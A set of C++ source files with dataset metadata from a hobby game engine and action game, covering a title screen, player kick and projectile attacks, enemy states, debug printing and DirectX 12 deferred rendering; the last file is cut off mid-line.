"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass Title :public GameObject\n{\npublic:\n\tTitle();\n\tvirtual ~Title();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\nprivate:\n\tvoid LoadSoundSources();\n\t//Back Sprite\n\tSpriteRender* m_backSprite = nullptr;\n\tSpriteRender* m_forwardSprite = nullptr;\n\tVector3 m_backSpPos = Vector3::Zero;\n\tbool m_isTrigeredStart = false;\n\tstatic bool m_seLoaded;\n\n\tfloat m_timer = 0;\n\tfloat m_colorTimer = 0.f;\n\tfloat m_colorTimer_max = 1.f;\n\tbool m_isAddColor = true;\n\tFont m_font;\n};\n"
},
{
"alpha_fraction": 0.6760390996932983,
"alphanum_fraction": 0.6772615909576416,
"avg_line_length": 9.90666675567627,
"blob_id": "e4ae8ffaec6deed8bf414b53199fac0a9e280ad6",
"content_id": "ae175ca45483f52991ea3a0f6bb34c0c3f933a40",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 818,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 75,
"path": "/Game/PowaPowa.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PowaPowa.h\"\n\n\nPowaPowa::PowaPowa()\n{\n\n}\n\nPowaPowa::~PowaPowa()\n{\n\n}\n\n\n\nvoid PowaPowa::Release()\n{\n\tDeleteGO(m_model);\n\n}\n\nvoid PowaPowa::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid PowaPowa::Awake()\n{\n\n}\n\nbool PowaPowa::Start()\n{\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/AssistantMachine/am.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/AssistantMachine/am.tks\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(m_scale);\n\tm_model->SetPosition(m_pos);\n\tm_model->SetRotation(m_rotation);\n\n\treturn true;\n}\n\n\nvoid PowaPowa::PreUpdate()\n{\n\n}\n\nvoid PowaPowa::Update()\n{\n\n}\n\nvoid PowaPowa::PostUpdate()\n{\n\n}\n\n\nvoid PowaPowa::Render()\n{\n\n}\n\nvoid PowaPowa::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.7160804271697998,
"alphanum_fraction": 0.7311557531356812,
"avg_line_length": 22.352941513061523,
"blob_id": "c8ecbf0948a1ac4231ab1a755f81ad189c91af3b",
"content_id": "277642c7f08e51517844c19c5dca35c82d0965ad",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 398,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 17,
"path": "/Game/Enemy/State/EnemySlashState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n\nclass EnemySlashState : public IEnemyState\n{\npublic:\n\tEnemySlashState();\n\t~EnemySlashState();\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\tfloat m_timer = 0.f;\n\tconst float m_damageAmount = 10.f;\n\tconst float m_range = 30.f;\n\tconst float m_intervalSec = 1.f;\n};\n\n"
},
{
"alpha_fraction": 0.698630154132843,
"alphanum_fraction": 0.698630154132843,
"avg_line_length": 7.222222328186035,
"blob_id": "6f36c6050fd5f0c9dca7c2e4f33406b497c208bd",
"content_id": "433e6b2cec36b15e12e0d1e63e7e05af41972f7b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 73,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 9,
"path": "/UsualEngineR/tkFile/TkFileManager.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"TkFileManager.h\"\n\n\n\nnamespace UER\n{\n\t\n}"
},
{
"alpha_fraction": 0.6825000047683716,
"alphanum_fraction": 0.699999988079071,
"avg_line_length": 18,
"blob_id": "82e15fe662ec0e1e5382862b8fc00735b8da05bc",
"content_id": "18a573d997d3b588133d58e53fd7fde1e82d171c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 400,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 21,
"path": "/Game/Enemy/EnemyTest.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemy.h\"\nclass EnemyIdleState;\nclass HealthBar;\n\nclass EnemyTest : public IEnemy\n{\npublic:\n\tvoid Init() override;\n\tvoid Execute() override;\n\tvoid Terminate() override;\nprivate:\n\t//Model\n\t//CAnimationClip m_animClip[1];\n\t//std::vector<CAnimationClipPtr> m_animlist;\n\tVector3 m_scale = { 5.f,5.f,5.f };\n\t\n\t//Physics\n\tconst float m_radius = 1.f;\n\tconst float m_height = 3.f;\n};\n\n"
},
{
"alpha_fraction": 0.6807673573493958,
"alphanum_fraction": 0.6832267642021179,
"avg_line_length": 24.721519470214844,
"blob_id": "7950773195a00f87fb9a3934f9a40b528b956040",
"content_id": "c256697138e3d5a2e373fe68fbc242c21e38704b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2033,
"license_type": "no_license",
"max_line_length": 134,
"num_lines": 79,
"path": "/Game/Player/Attack/DefaultPreset/PlayerAttackKick.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackKick.h\"\n#include \"../../Player.h\"\n#include \"../../../Enemy/EnemyManager.h\"\n\nPlayerAttackKick::PlayerAttackKick() {\n\n}\n\nPlayerAttackKick::~PlayerAttackKick() {\n\n}\n\nvoid PlayerAttackKick::Init(Player* player, int combo) {\n#ifdef _PRINT_PLAYER_ATTACK\n\tstd::string s = \"attack Kick combo :\" + std::to_string(combo);\n\tDebugPrint_WATA(s.c_str());\n#endif\n\t\n\tif (player->GetCurrentEndurance() < m_StaminaCost or player->GetCurrentBoost() < m_BoostCost) {\n\t\tm_canDoAttack = false;\n\t\treturn;\n\t}\n\telse {\n\t\tm_canDoAttack = true;\n\t}\n\n\tm_isDone = false;\n\tm_timer = 0.f;\n\tplayer->PlayAnimation(Player::EnAnimation::enKick);\n\n\tauto& enemyManager = EnemyManager::GetEnemyManager();\n\t//enemyManager.ApplyAoeDamage(/*attack origin*/ player->GetPosition(), m_range, m_damageAmount * combo);\n\n\tplayer->UseStamina(m_StaminaCost);\n\tplayer->UseBoost(m_BoostCost);\n\tm_hasAlreadyAttacked = false;\n\n\tm_combo = combo;\n\n\tplayer->FireThrusters();\n\n\tm_attackedEnemyMap.clear();\n}\n\nvoid PlayerAttackKick::Execute(Player* player) {\n\tif (!m_canDoAttack) {\n\t\tm_isDone = true;\n\t\treturn;\n\t}\n\tif(!player->IsPlayingAnimation()){\n\t\tm_timer += gameTime()->GetDeltaTime();\n\t}\n\telse {\n\t\tif (player->ColCheck(Player::EnPlayerBone::enSOLE_R)) {\n\t\t\tauto& enemyManager = EnemyManager::GetEnemyManager();\n\t\t\tauto nearestEnemy = enemyManager.GetNearestEnemy(player->GetBone(Player::EnPlayerBone::enSOLE_R)->GetWorldMatrix().GetTransrate());\n\t\t\tif (m_attackedEnemyMap.find(nearestEnemy) == m_attackedEnemyMap.end()) {\n\t\t\t\tauto v = nearestEnemy->GetPosition() - player->GetPosition();\n\t\t\t\tv.y = 0;\n\t\t\t\tv.Normalize();\n\t\t\t\tv.y = 2.f;\n\t\t\t\tv.Normalize();\n\t\t\t\tv *= m_knockBack;\n\n\t\t\t\tnearestEnemy->ApplyDamage(m_damageAmount * m_combo, true, v);\n\t\t\t\tauto m_kickSE = NewGO< CSoundSource>(0);\n\t\t\t\tm_kickSE->Init(L\"Assets/sound/chara/punch1.wav\", false);\n\t\t\t\tm_kickSE->Play(false);\n\t\t\t\tm_attackedEnemyMap.insert(std::make_pair(nearestEnemy, true));\n\t\t\t}\n\t\t\t//m_hasAlreadyAttacked = true;\n\t\t}\n\t}\n\n\tif (m_timer >= m_interval) {\n\t\tm_isDone = true;\n\t}\n}\n\n"
},
{
"alpha_fraction": 0.7308689951896667,
"alphanum_fraction": 0.7341115474700928,
"avg_line_length": 19.03896141052246,
"blob_id": "ffeaa0cb762b817d349f78528fe9bd93f23c1ea9",
"content_id": "984830b66d577288dd6e4176423da0a08a790542",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1618,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 77,
"path": "/Game/stdafx.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\n#include \"PreCompile.h\"\n#include \"GameCollisionAttribute.h\"\n\nusing namespace UER;\n\n//ゲーム側デバッグ表示定義\n//#define _PRINT_PLAYER_STATE //ステート遷移をコンソールに表示\n//#define _PRINT_PLAYER_ATTACK\n//#define _PRINT_ENEMY_STATE\n//#define _PRINT_ENEMY_DAMAGE\n\nenum class EDebugConsoloUser :int\n{\n\tCOMMON = 1,\n\tNOMOTO = 2,\n\tWATA = TO_INT(EDebugConsoleKind::num),\n\tYOSI = TO_INT(EDebugConsoleKind::num) + 2,\n\tINAM = TO_INT(EDebugConsoleKind::num) + 4,\n\tHIRO = TO_INT(EDebugConsoleKind::num) + 8,\n};\n\nstatic INT operator|(EDebugConsoloUser x, EDebugConsoloUser y)\n{\n\treturn TO_INT(x) | TO_INT(y);\n}\nstatic INT operator|(INT x, EDebugConsoloUser y)\n{\n\treturn x | TO_INT(y);\n}\n\ntemplate<class E>\nstatic void SetDebugConsoleUser(E user)\n{\n\tDebugConsoleUser |= TO_INT(user);\n}\n\nstatic void DebugPrintLine(EDebugConsoloUser user,const char* str)\n{\n\tDebugPrintLineConsole(TO_INT(user), str);\n}\n\n/// <summary>\n/// 共通のデバッグプリント\n/// </summary>\n/// <param name=\"str\"></param>\nstatic void DebugPrint_COMMON(const char* str)\n{\n\tDebugPrintLine(EDebugConsoloUser::COMMON, str);\n}\n\nstatic void DebugPrint_NOMOTO(const char* str)\n{\n\tDebugPrintLine(EDebugConsoloUser::NOMOTO, str);\n}\n\nstatic void DebugPrint_WATA(const char* str)\n{\n\tDebugPrintLine(EDebugConsoloUser::WATA, str);\n}\n\nstatic void DebugPrint_YOSI(const char* str)\n{\n\tDebugPrintLine(EDebugConsoloUser::YOSI, str);\n}\n\nstatic void DebugPrint_INAM(const char* str)\n{\n\tDebugPrintLine(EDebugConsoloUser::INAM, str);\n}\n\nstatic void DebugPrint_HIRO(const char* str)\n{\n\tDebugPrintLine(EDebugConsoloUser::HIRO, str);\n}"
},
{
"alpha_fraction": 0.38818565011024475,
"alphanum_fraction": 0.5232067704200745,
"avg_line_length": 11.473684310913086,
"blob_id": "738256205468ebccbc7cdb96cc923fbb5b15a8df",
"content_id": "90c5ccb5cb74bc5dd73636c4caad546e8f0fc326",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 243,
"license_type": "no_license",
"max_line_length": 31,
"num_lines": 19,
"path": "/UsualEngineR/math/Matrix.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "/*!\n * @brief\t行列。\n */\n\n#include \"PreCompile.h\"\n#include \"Matrix.h\"\n\n\nnamespace UER\n{\n\t\n\tconst Matrix Matrix::Identity(\n\t\t\t1.0f, 0.0f, 0.0f, 0.0f ,\n\t\t\t0.0f, 1.0f, 0.0f, 0.0f ,\n\t\t\t0.0f, 0.0f, 1.0f, 0.0f ,\n\t\t\t0.0f, 0.0f, 0.0f, 1.0f\n\t); \n\n}\n"
},
{
"alpha_fraction": 0.7278165221214294,
"alphanum_fraction": 0.7537387609481812,
"avg_line_length": 36.858489990234375,
"blob_id": "da7c1e308c70f512612e33cca67746737637a186",
"content_id": "5f011cb8ff9ad65de801a0aa44e1aebfcd895d35",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4088,
"license_type": "no_license",
"max_line_length": 145,
"num_lines": 106,
"path": "/UsualEngineR/Graphics/PreRender/PreRender.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"PreRender.h\"\n#include \"BufferEnum.h\"\n\n\n\nnamespace UER\n{\n\tvoid PreRender::Init()\n\t{\n\t\tm_gBuffer.Init();\n\n\t\tm_deferredCB.Init(sizeof(DeferredCB));\n\t\t\n\t\tm_vs.LoadVS(L\"Assets/shader/Deferred.fx\", \"VSMain\");\n\t\tm_ps.LoadPS(L\"Assets/shader/Deferred.fx\", \"PSMain\");\n\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\t8, 11, 1);\n\n\t\t// 頂点レイアウトを定義する。\n\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t{\n\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 16, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t};\n\n\t\t//パイプラインステートを作成。\n\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vs.GetCompiledBlob());\n\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_ps.GetCompiledBlob());\n\t\tpsoDesc.RasterizerState = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;\n\t\tpsoDesc.BlendState = CD3DX12_BLEND_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.DepthStencilState.DepthEnable = FALSE;\n\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ALL;\n\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\tpsoDesc.NumRenderTargets = TO_INT(EGBufferKind::NumKind);\n\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t//アルベドカラー出力用。\n\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D32_FLOAT;\n\t\tpsoDesc.SampleDesc.Count = 1;\n\t\tm_pipState.Init(psoDesc);\n\n\n\t\tauto gbuffs = m_gBuffer.GetGBuffer();\n\t\tfor(int i=0;i<TO_INT(EGBufferKind::NumKind);i++)\n\t\t{\n\t\t\tm_descHeap.RegistShaderResource(i, gbuffs[i].GetRenderTargetTexture());\n\t\t}\n\t\tm_descHeap.RegistConstantBuffer(0, m_deferredCB);\n\t\tauto& ligMana = g_graphicsEngine->GetLightManager();\n\n\t\tm_descHeap.RegistConstantBuffer(TO_INT(EConstantBuffer::cb_lightData),ligMana.GetLightConstBuffer());\n\t\tm_descHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_dirLight), ligMana.GetDirLightStructuredBuffer());\n\t\tm_descHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_pointLight), ligMana.GetPointLightStructuredBuffer());\n\n\t\tm_descHeap.RegistConstantBuffer(TO_INT(EConstantBuffer::cb_shadowData), g_graphicsEngine->GetShadowMap().GetShadowCB());\n\t\tm_descHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_shadow1), g_graphicsEngine->GetShadowMap().GetShadowMap(0).GetRenderTargetTexture());\n\t\tm_descHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_shadow2), g_graphicsEngine->GetShadowMap().GetShadowMap(1).GetRenderTargetTexture());\n\t\tm_descHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_shadow3), g_graphicsEngine->GetShadowMap().GetShadowMap(2).GetRenderTargetTexture());\n\n\t\tm_descHeap.Commit();\n\t}\n\tvoid PreRender::Render(RenderContext& rc)\n\t{\n\t\tm_gBuffer.Draw(rc);\n\t}\n\tvoid PreRender::LightingRender(RenderContext& rc)\n\t{\n\t\tDeferredCB dcb;\n\t\tdcb.mVPI = g_camera3D->GetViewProjectionMatrix();\n\t\tdcb.mVPI.Inverse();\n\t\tdcb.camPos = g_camera3D->GetPosition();\n\t\tdcb.camDir = g_camera3D->GetForward();\n\t\tdcb.camNear = g_camera3D->GetNear();\n\t\tdcb.camFar = g_camera3D->GetFar();\n\t\tm_deferredCB.CopyToVRAM(dcb);\n\n\t\t//rc.WaitUntilFinishDrawingToRenderTargets(TO_INT(EGBufferKind::NumKind), m_gBuffer.GetGBuffer());\n\n\t\tauto mainRT = g_graphicsEngine->GetCurrentRenderTarget();\n\t\t\n\t\trc.WaitUntilFinishDrawingToRenderTarget(*mainRT);\n\t\trc.WaitUntilToPossibleSetRenderTarget(*mainRT);\n\t\trc.SetRenderTargets(1, mainRT);\n\t\t\n\t\t\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetDescriptorHeap(m_descHeap);\n\t\trc.SetPipelineState(m_pipState);\n\n\t\tconst auto& pri = g_graphicsEngine->GetPrimitive();\n\t\tpri.Draw(rc);\n\n\t\t//rc.WaitUntilFinishDrawingToRenderTarget(*mainRT);\n\t}\n}"
},
{
"alpha_fraction": 0.7078239321708679,
"alphanum_fraction": 0.709046483039856,
"avg_line_length": 22.342857360839844,
"blob_id": "154206d084e1e6437f8988732f85ea47cd54026c",
"content_id": "278011862a28147a62491475efd4a3e932a544e9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 818,
"license_type": "no_license",
"max_line_length": 102,
"num_lines": 35,
"path": "/Game/Enemy/EnemyTest.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyTest.h\"\n\nvoid EnemyTest::Init() {\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\t//mid.m_tkmFilePath = \"Assets/modelData/unityChan.tkm\";\n\t//mid.m_tksFilePath = \"Assets/modelData/unityChan.tks\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(m_scale);\n\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enIdle), \"Assets/modelData/boss/sp/anim/sp_idle.tka\", true);\n\n\t//State\n\tSetState(m_stateMap.at(TO_INT(IEnemy::EnState::enIdleState)));\n\n\t//Physics\n\tInitCharacon(m_radius, m_height, m_position, true);\n\n}\n\n\nvoid EnemyTest::Terminate() {\n\tDeleteGO(m_model);\n}\n\nvoid EnemyTest::Execute() {\n\tm_model->SetPosition(m_position);\n}\n\n"
},
{
"alpha_fraction": 0.7145922780036926,
"alphanum_fraction": 0.725321888923645,
"avg_line_length": 24.88888931274414,
"blob_id": "5d0121449b3be9d024c8d1150b79005b3e4ab1c7",
"content_id": "56edd13000417157b2ff95bc62debf02e56e36b5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 466,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 18,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanTackleState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n#include \"Player/Player.h\"\n\nclass Boss_FatmanTackleState final : public IEnemyState\n{\npublic:\n\tBoss_FatmanTackleState();\n\t~Boss_FatmanTackleState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\tconst float\t\tm_damage = Player::GetMaxHP() / 10.f;\n\tfloat\t\t\tm_timer = 0.f;\n\tVector3\t\t\tm_playerPosition = Vector3::Zero;\n\tbool\t\t\tm_isSound = false;\n};\n"
},
{
"alpha_fraction": 0.7050952911376953,
"alphanum_fraction": 0.7182917594909668,
"avg_line_length": 42.30952453613281,
"blob_id": "c86179c9219aac5c8899357145ec38eff18c38fb",
"content_id": "f263ff68acd55fa15cb601127271f263dc09457e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5456,
"license_type": "no_license",
"max_line_length": 151,
"num_lines": 126,
"path": "/Game/Player/Attack/PlayerLongRangeAttack.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerLongRangeAttack.h\"\n#include \"../Player.h\"\n#include \"../Pod/Pod.h\"\n#include \"Projectile.h\"\n#include \"../../Enemy/IEnemy.h\"\n#include \"../../GameManager.h\"\n#include \"../../Camera/GameCamera.h\"\n#include \"../../Enemy/EnemyManager.h\"\n#include \"Effect/MuzzleFlash.h\"\n\nPlayerLongRangeAttack::PlayerLongRangeAttack() {\n\n\tMuzzleFlashEffectInitData mfid;\n\n\tfor (int i = 0; i < TO_INT(EnMuzzles::NumMuzzles); i++) {\n\t\tauto muzzleFlash = NewGO<MuzzleFlash>(0);\n\t\tmuzzleFlash->Init(mfid);\n\t\tmuzzleFlash->SetSca(Vector3::One * 0.1);\n\t\tm_muzzleFlashes.push_back(muzzleFlash);\n\t}\n}\n\nPlayerLongRangeAttack::~PlayerLongRangeAttack() {\n\tfor (int i = 0; i < m_muzzleFlashes.size(); i++) {\n\t\tDeleteGO(m_muzzleFlashes.at(i));\n\t}\n}\n\nvoid PlayerLongRangeAttack::Execute(Player* p) {\n\tauto delta = gameTime()->GetDeltaTime();\n\tm_shotIntervalTimer += delta;\n\n\tauto& bones = p->GetPod()->GetBones();\n\tauto pvel = p->GetVelocity() * delta;\n\n\tif (m_shotIntervalTimer >= m_interval) {\n\n\t\tauto targetE = EnemyManager::GetEnemyManager().GetTargettingEnemy();\n\n\t\tVector3 vel = Vector3::Zero;\n\t\tif (targetE == nullptr) {\n\t\t\tvel = p->GetForward();\n\t\t}\n\t\telse {\n\t\t\tauto vecPodToEnemy = targetE->GetPosition() - p->GetPod()->GetPosition();\n\t\t\tvecPodToEnemy.Normalize();\n\t\t\tvel = vecPodToEnemy;\n\t\t}\n\n\t\tauto projectileR1 = NewGO<Projectile>(1, true);\n\t\tauto projectileR2 = NewGO<Projectile>(1, true);\n\t\tauto projectileL1 = NewGO<Projectile>(1, true);\n\t\tauto projectileL2 = NewGO<Projectile>(1, true);\n\n\t\t//projectile->Init(p->GetPod()->GetPosition(), vel);\n\t\tvel.Normalize();\n\t\tconst float defSpeed = 800.f;\n\t\tconst float lifeSpan = 5.f;\n\t\tconst float range = 10.f;\n\t\tconst float scale = 0.2f;\n\t\tconst float flashScale = 0.02f;\n\n\t\tfloat speed = defSpeed + p->GetVelocity().Length();\n\n\t\tprojectileR1->Init(m_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_R1)] - pvel, scale, vel, speed, lifeSpan, range);\n\t\tm_muzzleFlashes.at(TO_INT(EnMuzzles::UpperRight))->Play();\n\t\tm_muzzleFlashes.at(TO_INT(EnMuzzles::UpperRight))->SetSca(Vector3::One * flashScale);\n\n\t\tprojectileR2->Init(m_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_R2)] - pvel, scale, vel, speed, lifeSpan, range);\n\t\tm_muzzleFlashes.at(TO_INT(EnMuzzles::UpperLeft))->Play();\n\t\tm_muzzleFlashes.at(TO_INT(EnMuzzles::UpperLeft))->SetSca(Vector3::One * flashScale);\n\n\t\tprojectileL1->Init(m_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_L1)] - pvel, scale, vel, speed, lifeSpan, range);\n\t\tm_muzzleFlashes.at(TO_INT(EnMuzzles::LowerRight))->Play();\n\t\tm_muzzleFlashes.at(TO_INT(EnMuzzles::LowerRight))->SetSca(Vector3::One * flashScale);\n\n\t\tprojectileL2->Init(m_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_L2)] - pvel, scale, vel, speed, lifeSpan, range);\n\t\tm_muzzleFlashes.at(TO_INT(EnMuzzles::LowerLeft))->Play();\n\t\tm_muzzleFlashes.at(TO_INT(EnMuzzles::LowerLeft))->SetSca(Vector3::One * flashScale);\n\n\t\tm_shotIntervalTimer = 0.f;\n\t}\n\n}\n\n\nvoid PlayerLongRangeAttack::CalcEffectsTransform() {\n\n\tauto delta = gameTime()->GetDeltaTime();\n\tauto p = GameManager::GetInstance().m_player;\n\tauto& bones = p->GetPod()->GetBones();\n\tauto pvel = p->GetVelocity() * delta;\n\n\t//R1\n\tm_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_R1)] = bones.at(TO_INT(Pod::EnPodBone::Burrel_R1))->GetWorldMatrix().GetTransrate() + pvel;\n\tm_effectTransforms.m_rotList[TO_INT(Pod::EnPodBone::Burrel_R1)] = bones.at(TO_INT(Pod::EnPodBone::Burrel_R1))->GetWorldMatrix().GetRotate();\n\t//R2\n\tm_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_R2)] = bones.at(TO_INT(Pod::EnPodBone::Burrel_R2))->GetWorldMatrix().GetTransrate() + pvel;\n\tm_effectTransforms.m_rotList[TO_INT(Pod::EnPodBone::Burrel_R2)] = bones.at(TO_INT(Pod::EnPodBone::Burrel_R2))->GetWorldMatrix().GetRotate();\n\t//L1\n\tm_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_L1)] = bones.at(TO_INT(Pod::EnPodBone::Burrel_L1))->GetWorldMatrix().GetTransrate() + pvel;\n\tm_effectTransforms.m_rotList[TO_INT(Pod::EnPodBone::Burrel_L1)] = bones.at(TO_INT(Pod::EnPodBone::Burrel_L1))->GetWorldMatrix().GetRotate();\n\t//L2\n\tm_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_L2)] = bones.at(TO_INT(Pod::EnPodBone::Burrel_L2))->GetWorldMatrix().GetTransrate() + pvel;\n\tm_effectTransforms.m_rotList[TO_INT(Pod::EnPodBone::Burrel_L2)] = bones.at(TO_INT(Pod::EnPodBone::Burrel_L2))->GetWorldMatrix().GetRotate();\n\n\n}\n\nvoid PlayerLongRangeAttack::UpdateEffectPos() {\n\tCalcEffectsTransform();\n\t//R1\n\tm_muzzleFlashes.at(TO_INT(EnMuzzles::UpperRight))->SetPos(m_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_R1)]);\n\tm_muzzleFlashes.at(TO_INT(EnMuzzles::UpperRight))->SetRot(m_effectTransforms.m_rotList[TO_INT(Pod::EnPodBone::Burrel_R1)]);\n\t//R2\n\tm_muzzleFlashes.at(TO_INT(EnMuzzles::UpperLeft))->SetPos(m_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_R2)]);\n\tm_muzzleFlashes.at(TO_INT(EnMuzzles::UpperLeft))->SetRot(m_effectTransforms.m_rotList[TO_INT(Pod::EnPodBone::Burrel_R2)]);\n\t//L1\n\tm_muzzleFlashes.at(TO_INT(EnMuzzles::LowerRight))->SetPos(m_effectTransforms.m_posList[TO_INT(Pod::EnPodBone::Burrel_L1)]);\n\tm_muzzleFlashes.at(TO_INT(EnMuzzles::LowerRight))->SetRot(m_effectTransforms.m_rotList[TO_INT(Pod::EnPodBone::Burrel_L1)]);\n\t//L2\n\tm_muzzleFlashes.at(TO_INT(EnMuzzles::LowerLeft))->SetPos(m_effectTransforms.m_posList[TO_INT(Pod::